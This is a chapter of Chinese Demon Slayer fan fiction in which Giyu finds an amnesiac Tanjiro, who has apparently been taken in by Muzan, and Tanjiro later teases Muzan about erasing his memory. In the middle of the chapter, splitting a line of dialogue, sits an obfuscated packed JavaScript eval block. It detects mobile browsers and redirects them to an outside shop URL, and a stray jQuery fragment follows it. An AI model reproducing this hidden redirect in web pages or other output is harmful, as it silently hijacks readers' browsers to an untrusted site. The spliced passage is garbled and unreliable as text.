“请问,你是谁啊?”

    只这一句就让所有重逢的喜悦和来不及诉说的盘绕心底的担忧都如潮水般骤然退去,只剩下一片惊愕。

    义勇缓缓松开手臂,目光不可置信地锁在炭治郎脸上。

    “你……你不认得我了?”

    炭治郎茫然地点了点头,脸上浮起一抹尴尬又抱歉的笑:“那个........我真的一点印象也没有。我们.........以前见过吗?”

    义勇踉跄着后退了一步,眼神却仍旧牢牢钉在眼前的少年身上,像是想从那熟悉的面容里,找出哪怕一丝对方对他熟稔的痕迹。

    “你.........”

    义勇拼命压制着心中翻涌的悲恸,喉间像是被什么堵住,连呼吸都变得滞涩。他不由自主地上前一步,指尖微微颤抖着抬起,可就在即将触及的刹那,他的手猛然顿住了,僵在半空中,迟迟无法落下。

    炭治郎闻到了眼前人身上那浓郁的痛苦,他不由地担忧地看着他。

    “你还好吧?或许.........你可以跟我说说你、呃我们,以前的事。”

    谁知义勇闻言只是抿抿唇,没有讲他们的过去,也没多说一言,只是收回僵立在半空的手垂在身侧,缓缓收紧。

    “没什么好说的........”

    他们的见面其实并不怎么愉快。

    义勇每个夜晚都会做梦,梦到因为自己的一念之差害得炭治郎深陷危境。

    他当初就是因为龙一郎的呼救才致使自己犹豫从而给敌人可乘之机。

    富冈义勇永远不会忘记他醒来时,自己已经被带着去往了集合的神社,那时太阳刚刚升起,橙光洒在他的后背带来些许暖意,少年模糊的视线渐渐清明,他朝周围看去,同样被背着上山的还有他的好友,锖兔把脸埋在考生的后背一言不发。

    义勇微微抬身朝周围扫去,背着他的是村田君,周围是一些在山底聚集点见过几面的考生,但唯独没有那抹熟悉的红发和那对总在风中轻轻摇曳的日轮耳饰。

    “炭治郎呢?”他下意识问一旁的锖兔,可粉橘发的少年仍未有言语,他只好将询问的目光放在背着他的村田上。

    “村田君,炭治郎呢?”

    村田后脑勺有一瞬的僵硬,但很快恢复正常,“义勇先生先养好伤,其他的事之后再说。”

    “怎么能说是其他的事呢?!”义勇反驳,“炭治郎到底在哪儿?”

    闻言,村田无奈叹了口气,他微微侧头但义勇仍旧看不清他的表情。

    “炭治郎君他........失踪了。”

    失踪?

    义勇眼睛惊愕地瞪大,他缓缓摇头,“怎么会.........什么叫失踪?到底发生了什么?失踪了........失踪了为什么没有人去找!”

    村田赶忙安抚少年,“你先不要激动,义勇君,你的伤还没有恢复——”话音未落,义勇就忍着骨头断裂的剧痛准备从村田的背上下来,被村田慌忙制止,“这是干什么?!义勇君!”

    好在义勇伤势太重,村田很轻松地就把他重新箍回背上。

    “我、我去找他,放开我!”义勇冰冷的声音让村田忍不住心里打颤,但他仍劝道:“你现在伤成这样,还没找到人,你就先有事了!炭治郎要是知道你这么不爱惜你自己,那........”后面的话,黑发少年未来得及言出口,因为他感觉到有两滴水滴落在他的后脖处。

    村田的眼眶里也跟着有了些许湿润。

    “我明白你难过.........”他声音微哑带着些许颤音,“但炭治郎把你托付给我,我得……我得把你安全带出去!”

    那一天他们三个正式成为鬼杀队的一员,可很少有人知道,他们最初是四人行。

    后来天音带着很多鬼杀队员在山中翻找,始终不见男孩的身影,大家都认为是凶多吉少,但义勇不信,他见识过男孩的厉害,他知道他不可能轻易就死,一定还在某个地方...........在某个地方等着他们去找他。

    义勇和锖兔因为伤势过重被安排在蝶屋修养整整三个月,期间他无数次想要偷偷溜走去藤袭山,但总被花柱的妹妹给逮到。

    他想央求对方放他离开,但换来的是对方的一剂麻药给放药,连句话都不带说的。

    义勇也是毫无办法,正想着别的方式逃出去时,躺在隔壁床上的锖兔终于开口。

    “炭治郎没有死...........他被带走了。”

    义勇愣住,他瞬间转向锖兔的位置,马不停蹄地急切问道::是、是谁带走的?为什么带走他?那人是、是炭治郎的老师,还、还是..........”

    锖兔抿了抿有些干裂的唇,声音里情绪不明,“我.........我不知道,他浑身冷冰冰,眼里还刻着字。”

    刻字?

    义勇心头掠过一瞬的茫然,但随即像是想到了什么,一股寒意猛然从心底窜起,瞬间凉透了四肢百骸。

    他们的老师曾跟他们讲过。

    鬼舞辻无惨是鬼之始祖,他早在百年前——不,甚至更早就创立一支组织。

    并取名——十二鬼月。

    他们的显著特点就是眼里刻着字。

    那一瞬间,无数的思绪在义勇的脑中飘过。

    炭治郎真的还活着吗?

    为什么十二鬼月会找上他?

    义勇知道以他现在的能力杀低级鬼都尚且觉得疲劳,碰上十二鬼月——那是对方一根手指头就能把他捏碎的存在。

    找到炭治郎又能怎样?他能做什么呢?

    无力感像深夜涨潮的海水,悄无声息地漫上来,一寸寸吞没了少年单薄的肩膀。

    他坐在床边,脊背微微佝偻,双手垂在膝盖上,指尖冰凉。

    窗外的月光透过帘隙落在地板上,他却连抬头看一眼的力气都没有。

    自那晚之后他再也没有想方设法的逃走,他久违地积极配合治疗,诡异的举动甚至让花柱的妹妹都不由地开口与他多说两句。

    但这次沉默的对象换成了义勇。

    蓝眸黑发的少年看着身上的伤口在时间里慢慢收口,新生的皮肤像初雪覆盖旧痕。

    他抚过那些日渐浅淡的印记,不由地在心里做出了一个决定。

    ——————

    直到此刻他再次遇到日思夜想的男孩,明明该是高兴的,但男孩不记得他了.........

    “你还........记得锖兔吗?”义勇看着炭治郎,那双蓝眸里闪过某种情绪,太快了少年并未捕捉到。

    “呃........抱歉,我不记得。”炭治郎有些尴尬,但心里却莫名空落落的,他知道自己曾失去过某段记忆,但.......无惨先生从未跟他提及。

    “原来是都不记得了.......”少年还在思索着,冷不丁听到这句话,这下更茫然了。

    “要不您还是跟我讲讲吧,我也.......挺好奇

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17662048|205012||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的。”

    谁知义勇仍旧摇摇头,他露出抹苦笑,“我不知道从何说起,那段时光里对你也说不上什么愉快。”说到这里,义勇突然笑出声,原本紧蹙着的眉头松开,眼里有一丝的释然,“就这样吧。这样挺好........”

    炭治郎:“..........”

    为什么他的脑思路好像和这位先生连不起来。。

    正当炭治郎还想说什么,脑中的怒吼声忽地将他的思绪和要出口的话语给截停。

    ‘你还在外面做什么?还不赶紧回来,我真搞不懂外面到底有什么好的!’

    无惨的抱怨声接二连三地传至他的大脑,炭治郎都能感觉到震动感。

    他轻叹一声,这次在外面待的时间确实很长了。

    “抱歉,我想我要回去了,以后有机会见面时再聊吧。”少年无奈地对着义勇说。

    义勇却没有说“好”,而是又上前了一步,眼眸紧紧盯着生怕对方跑掉,“你要去哪儿?”

    炭治郎被对方这突如其来的询问摸不着头脑,“回、回家啊。”

    义勇仍旧紧追不舍,“家在哪里?”

    “家在.......”炭治郎眼神乱飘,他不能把无限城和无惨先生说出来,想来想去也找不到适合的理由。

    “你家在哪里?”义勇又问了一遍,有股炭治郎不交代就别想离开的阵仗。

    事实上也确实如此。

    好不容易找到男孩,怎么可能让对方毫无缘由的离开呢?

    这下炭治郎可犯难了。“呃……那个……”

    眼珠一转,灵光闪动,他想到了个办法。

    只见炭治郎突然指着义勇的身后,惊呼出声,“先生你快看啊,那是你们的队员吗?”

    话音落下,果然义勇转过头去,也在这一刹那,他瞳孔皱缩,意识到被骗,可等他迅速转过来时已经没有了男孩的身影。

    ........................

    少年回到无限城时,也是松了口气。结果刚松没多久,又提了上来。

    “在外面过得挺潇洒的啊。”

    无惨冰冷的声音让炭治郎身体不由地发颤,来自本能的恐惧正叫嚣着让他跪下认错竭尽所能讨面前的鬼王欢心。

    但炭治郎却硬生生地压制住,他朝着无惨歉意一笑,“抱歉,无惨先生,被一些事情耽误了……”

    他被传到了无惨的实验室,此时男人仍在做他的实验,闻言冷笑一声,“事情……如果你说的事情是指从鬼手上救下人类,那还真是大事。”

    “.........”

    “无惨先生……您又看我的记忆。”

    无惨斜睨了他一眼,手上的动作并未停止,“怎么?记忆里是有什么秘密,这么怕我看到?”

    炭治郎无奈,“那倒不是,只是觉得无惨先生你随意查看其他鬼的能力还挺厉害,不会也具备让人失忆的能力吧?”

    无惨毫无防备地自信一哼,“那当然!我可是鬼王,有什么东西是我做不到的,别说让谁失忆了,就是把鬼立刻变成傻子我也做得到——”

    不对……

    无惨的话头猛然止住。

    他意识到什么,惊得指间的试管猛地一滑,险些脱手坠地,但他并未管乎这个,而是霍然转头,目光紧钉在少年脸上。

    此时,炭治郎的脸上仍然带着笑意,这反倒让无惨有些心里发怵了。

    “哦~原来无惨先生这么厉害呀。”